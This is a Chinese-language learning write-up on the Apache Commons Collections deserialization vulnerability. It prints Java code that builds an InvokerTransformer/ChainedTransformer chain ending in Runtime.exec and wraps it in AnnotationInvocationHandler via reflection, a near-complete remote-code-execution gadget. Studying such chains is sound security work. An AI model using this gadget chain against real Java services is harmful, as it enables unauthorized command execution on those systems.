> Author: shaobaobaoer
> Codes : https://github.com/ninthDevilHAUNSTER/JavaSecLearning
> Mail: shaobaobaoer@126.com
> WebSite: shaobaobaoer.cn
> Time: Saturday, 25. July 2020 11:02AM
Apache Commons是Apache开源的Java通用类项目在Java中项目中被广泛的使用,Apache Commons当中有一个组件叫做Apache Commons Collections,主要封装了Java的Collection(集合)相关类对象。
这个组件应该用的非常多的,我用的是在http://www.java2s.com/Code/Jar/a/Downloadapachecommonsjar.htm上下载的apache-commons.jar文件。其他的jar应该大同小异,也可以在 maven仓库 中下载。(咱不懂为啥JAVA的包管理机制这么奇怪,我这个小菜鸡不知道,也不敢问~)
在Collections中提供了一个非常重要的类: org.apache.commons.collections.functors.InvokerTransformer, 这个类实现了:java.io.Serializable接口。
InvokerTransformer类实现了org.apache.commons.collections.Transformer接口, Transformer提供了一个对象转换方法:transform.主要用于将输入对象转换为输出对象。InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。
InvokerTransformer 扩展了 序列化 与 Transformer 类。
其构造函数为三个东西,一个是方法名,一个是参数类型列表,一个是参数列表
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; this.iParamTypes = paramTypes; this.iArgs = args; }
其提供了一个方法,带入一个Object,可执行其Object.methodName(args)这样的方法
public Object transform(Object input) { Class cls = input.getClass(); Method method = cls.getMethod(this.iMethodName, this.iParamTypes); return method.invoke(input, this.iArgs); }
使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的(毕竟代码是人家写的)
public static void InvokerTransformerVuln() throws IOException { InvokerTransformer itf = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}); Process res = (Process) itf.transform(Runtime.getRuntime()); // 相当于 Runtime.getRuntime().exec(cmd) String res_output = IOUtils.toString(res.getInputStream(), "GBK"); System.out.println(res_output); }
ChainedTransformer类实现了Transformer链式调用, 我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。
其构造函数为传入一个 Transformer 数组
public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; }
transform方法为对其循环调用
public Object transform(Object object) { for (int i = 0; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
所谓调用链,先来搞一下直线式构造到底的调用链。如下所示:
Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
将其展开为InvokerTransformer链,则有:
ConstantTransformer 为获取一个常量。其tranform方法就是返回这个常量。
Transformer[] tf_array = new Transformer[]{ new ConstantTransformer(Runtime.class), // Runtime.class. new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]} ), // Runtime.class.getMethod("getRuntime") new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]} ),// Runtime.class.getMethod("getRuntime").invoke(null) new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{cmd}) // Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd) };
注意,对于语句
Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)
并不执行得了,因为invoke返回的是Object对象,Object对象是没有exec方法的。
按照写为一行的代码,真正能正确执行的语句应该是
((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec(cmd)
这样才能正确执行。
TransformedMap 本意是对放入Map的键值对做一些转换。 这转换的方法就是transformed类,而该类又存在着反序列化的方法来保存内容。由此就有了反序列化的漏洞
// 构造函数的protected ,用decorate来实现。 public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; }
Put
使用Put,Putall等方法会触发 keyTransformer
和 valueTransformer
,而获取单个元素后,使用 SetValue
会触发 valueTransformer
public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); }
public static void TransformedMapVuln() { try { HashMap<String, String> m = new HashMap<String, String>(); m.put("1", "1"); Transformer transformedChain = new ChainedTransformer(evil_tf_chain); Map<String, String> transformedMap = TransformedMap.decorate(m, null, transformedChain); for (Object obj : transformedMap.entrySet()) { Map.Entry entry = (Map.Entry) obj; // setValue最终调用到InvokerTransformer的transform方法,从而触发Runtime命令执行调用链 entry.setValue("test"); } } catch (Exception e) { e.printStackTrace(); } }
我装的是JAVA 14,这个类的写法和 别人博客 里非常不一样,所以也导致了我复现失败。
注:在高版本的1.8 JDK往后的JDK中该类的代码已经被修改,而无法使用,因此如果你需要做这个实验的话,需要安装1.8的低版本JDK,例如在1.8 u60中该代码可以被使用。
AnnotationInvocationHandler
类实现了 java.lang.reflect.InvocationHandler
(Java动态代理)接口和 java.io.Serializable
接口,它还重写了 readObject
方法,在 readObject
方法中还间接的调用了 TransformedMap
中 MapEntry
的 setValue
方法,从而也就触发了 transform
方法,完成了整个攻击链的调用。
由于它是一个内部类,不能直接new,但是我们有着万能的反射机制。其入口参数是一个Annotaion接口的实现类以及一个Map。
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type."); this.type = type; this.memberValues = memberValues; }
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { ...(省略无关代码) Map<String, Class<?>> memberTypes = annotationType.memberTypes(); // If there are annotation members without values, that // situation is handled by the invoke method. for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null) { // i.e. member still exists Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy( value.getClass() + "[" + value + "]").setMember( annotationType.members().get(name))); // 注意此处的setValue } } } } }
观察其readObject的最后一行,可以看到其存在着一个遍历Map中元素,并setValue的操作。
那么之前在分析 TransformedMap
有发现,其实它的setValue会触发transform的方法(如ChainedTransformer.transform)。于是就完成了RCE。
public static void AnnotationInvocationHandlerVuln() { try { Map<String, String> m = new HashMap<>(); m.put("value", "value"); Map<?, ?> transformedMap = TransformedMap.decorate(m, null, new ChainedTransformer(evil_tf_chain)); Class<?> Aih = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor<?> Aih_cons = Aih.getDeclaredConstructor(Class.class, Map.class); Aih_cons.setAccessible(true); Object obj = Aih_cons.newInstance(Target.class, transformedMap); ObjectSerializeAndDeserializeWithStream(obj); //模拟序列化与反序列化的过程,理论上可以完成命令执行,但是我JAVA版本14复现失败了。 } catch (Exception e) { e.printStackTrace(); } }
ObjectInputStream.readObject() ->AnnotationInvocationHandler.readObject() ->TransformedMap.entrySet().iterator().next().setValue() ->TransformedMap.checkSetValue() ->TransformedMap.transform() ->ChainedTransformer.transform() ->ConstantTransformer.transform() ->InvokerTransformer.transform() ->Method.invoke() ->Class.getMethod() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.getRuntime() ->InvokerTransformer.transform() ->Method.invoke() ->Runtime.exec()
那么回顾刚才这一些系列的操作,我们是不是可以总结一下呢?看到了 Freebuf上的一篇博客 ,感觉获益匪浅。这里记录下。
这么说自然是非常抽象,接下来引入那个 AnnotationInvocationHandler的调用链,就有较为直观的认识。
希望这个例子能对我理解Apache Commons Collections的反序列化漏洞有所帮助。
之后将详细对这三部分进行整理。
找到一个可以实现执行恶意代码的工具类,他们的作用是将我们的恶意代码伪装起来,并且在一个合理的时机里触发我们的恶意代码。
在之前的介绍中,符合这样一个类型的Object是
根据精心设定,这些类在执行 transform
方法的时候,会触发预先植入的恶意代码。
该类是可以被反序列化的,将上述对象包装到这个类中,这样在这个类进行反序列化的过程中,它将会调用readObject方法的同时,进行一些额外的操作,这些额外的操作是可以利用的,并且会触发恶意对象中的恶意方法。
在之前的介绍中,符合这样一个类型的类是
这样一个包装类,会在隐藏得执行一些序列化/反序列化操作。这样就能够触发之前SerializableClass中的readObject方法。那么哪些类有着这些特征呢?
如果SerializableClass为AnnotationInvocationHandler,那么就需要找到连接Map.setValue和InvokerTransformer.transform的桥梁。
在之前的介绍中,符合这样一个类型的类是